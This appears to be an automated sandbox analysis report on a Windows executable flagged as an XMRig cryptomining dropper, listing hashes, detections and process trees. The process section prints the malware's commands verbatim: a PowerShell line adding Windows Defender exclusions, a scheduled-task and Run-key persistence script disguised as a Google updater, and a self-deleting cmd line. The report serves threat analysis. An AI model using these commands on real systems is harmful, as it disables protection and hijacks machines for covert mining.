Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
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max time kernel
899s -
max time network
881s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11/02/2025, 16:33
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20250207-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20241010-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20250207-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20241023-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20241023-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240903-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20241023-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240729-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240903-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 840 created 1192 840 qM5GMXBk6hJE6Y5e (19).exe 21 PID 840 created 1192 840 qM5GMXBk6hJE6Y5e (19).exe 21 PID 840 created 1192 840 qM5GMXBk6hJE6Y5e (19).exe 21 PID 840 created 1192 840 qM5GMXBk6hJE6Y5e (19).exe 21 PID 2300 created 1192 2300 updater.exe 21 PID 2300 created 1192 2300 updater.exe 21 PID 2300 created 1192 2300 updater.exe 21 PID 2300 created 1192 2300 updater.exe 21 PID 2052 created 1192 2052 conhost.exe 21 PID 2300 created 1192 2300 updater.exe 21 -
Xmrig family
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XMRig Miner payload 30 IoCs
resource yara_rule behavioral9/memory/1888-45-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-44-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-47-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/1888-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2344 powershell.exe 2920 powershell.exe 2828 powershell.exe 772 powershell.exe -
Deletes itself 1 IoCs
pid Process 2768 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2300 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2636 taskeng.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2300 set thread context of 2052 2300 updater.exe 49 PID 2300 set thread context of 1888 2300 updater.exe 55 -
resource yara_rule behavioral9/memory/1888-37-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-45-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-44-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-47-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/1888-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (19).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1980 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0aa147ea47cdb01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1908 schtasks.exe 2612 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 840 qM5GMXBk6hJE6Y5e (19).exe 840 qM5GMXBk6hJE6Y5e (19).exe 2920 powershell.exe 840 qM5GMXBk6hJE6Y5e (19).exe 840 qM5GMXBk6hJE6Y5e (19).exe 2828 powershell.exe 840 qM5GMXBk6hJE6Y5e (19).exe 840 qM5GMXBk6hJE6Y5e (19).exe 840 qM5GMXBk6hJE6Y5e (19).exe 840 qM5GMXBk6hJE6Y5e (19).exe 2976 powershell.exe 2300 updater.exe 2300 updater.exe 2344 powershell.exe 2300 updater.exe 2300 updater.exe 772 powershell.exe 2300 updater.exe 2300 updater.exe 2300 updater.exe 2300 updater.exe 2052 conhost.exe 2052 conhost.exe 2300 updater.exe 2300 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2920 powershell.exe Token: SeDebugPrivilege 2828 powershell.exe Token: SeDebugPrivilege 2976 powershell.exe Token: SeDebugPrivilege 2344 powershell.exe Token: SeDebugPrivilege 772 powershell.exe Token: SeDebugPrivilege 2300 updater.exe Token: SeAssignPrimaryTokenPrivilege 1980 WMIC.exe Token: SeIncreaseQuotaPrivilege 1980 WMIC.exe Token: SeSecurityPrivilege 1980 WMIC.exe Token: SeTakeOwnershipPrivilege 1980 WMIC.exe Token: SeLoadDriverPrivilege 1980 WMIC.exe Token: SeSystemtimePrivilege 1980 WMIC.exe Token: SeBackupPrivilege 1980 WMIC.exe Token: SeRestorePrivilege 1980 WMIC.exe Token: SeShutdownPrivilege 1980 WMIC.exe Token: SeSystemEnvironmentPrivilege 1980 WMIC.exe Token: SeUndockPrivilege 1980 WMIC.exe Token: SeManageVolumePrivilege 1980 WMIC.exe Token: SeLockMemoryPrivilege 1888 conhost.exe Token: SeAssignPrimaryTokenPrivilege 1980 WMIC.exe Token: SeIncreaseQuotaPrivilege 1980 WMIC.exe Token: SeSecurityPrivilege 1980 WMIC.exe Token: SeTakeOwnershipPrivilege 1980 WMIC.exe Token: SeLoadDriverPrivilege 1980 WMIC.exe Token: SeSystemtimePrivilege 1980 WMIC.exe Token: SeBackupPrivilege 1980 WMIC.exe Token: SeRestorePrivilege 1980 WMIC.exe Token: SeShutdownPrivilege 1980 WMIC.exe Token: SeSystemEnvironmentPrivilege 1980 WMIC.exe Token: SeUndockPrivilege 1980 WMIC.exe Token: SeManageVolumePrivilege 1980 WMIC.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2828 wrote to memory of 2612 2828 powershell.exe 35 PID 2828 wrote to memory of 2612 2828 powershell.exe 35 PID 2828 wrote to memory of 2612 2828 powershell.exe 35 PID 2768 wrote to memory of 2644 2768 cmd.exe 40 PID 2768 wrote to memory of 2644 2768 cmd.exe 40 PID 2768 wrote to memory of 2644 2768 cmd.exe 40 PID 2976 wrote to memory of 2616 2976 powershell.exe 41 PID 2976 wrote to memory of 2616 2976 powershell.exe 41 PID 2976 wrote to memory of 2616 2976 powershell.exe 41 PID 2636 wrote to memory of 2300 2636 taskeng.exe 43 PID 2636 wrote to memory of 2300 2636 taskeng.exe 43 PID 2636 wrote to memory of 2300 2636 taskeng.exe 43 PID 772 wrote to memory of 1908 772 powershell.exe 48 PID 772 wrote to memory of 1908 772 powershell.exe 48 PID 772 wrote to memory of 1908 772 powershell.exe 48 PID 2300 wrote to memory of 2052 2300 updater.exe 49 PID 1072 wrote to memory of 1980 1072 cmd.exe 54 PID 1072 wrote to memory of 1980 1072 cmd.exe 54 PID 1072 wrote to memory of 1980 1072 cmd.exe 54 PID 2300 wrote to memory of 1888 2300 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1192
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:840
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2612
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2616
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2644
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1908
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2052
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1424
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1980
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1888
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C:\Windows\system32\taskeng.exetaskeng.exe {2D2A1253-2A46-43A3-B0BD-FAA86CB7B26B} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2300
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5d7be0a367d2c7418bf40f7bd709a8bab
SHA1d3999ea9364e7a5a046c3a01ffc1562643f4d546
SHA256e6e06b51506196058963363ea35ffa09eb34e8c7acceb916d6866ecfb2c69982
SHA512d97ff5e0d2ef29d62488cd0fa16a74c5e3932d8477df70fb0383ce41749f3049d191136c88a32484a040dcb8b951aee93b275cfbfd693cc35cd1a61b07fec5bf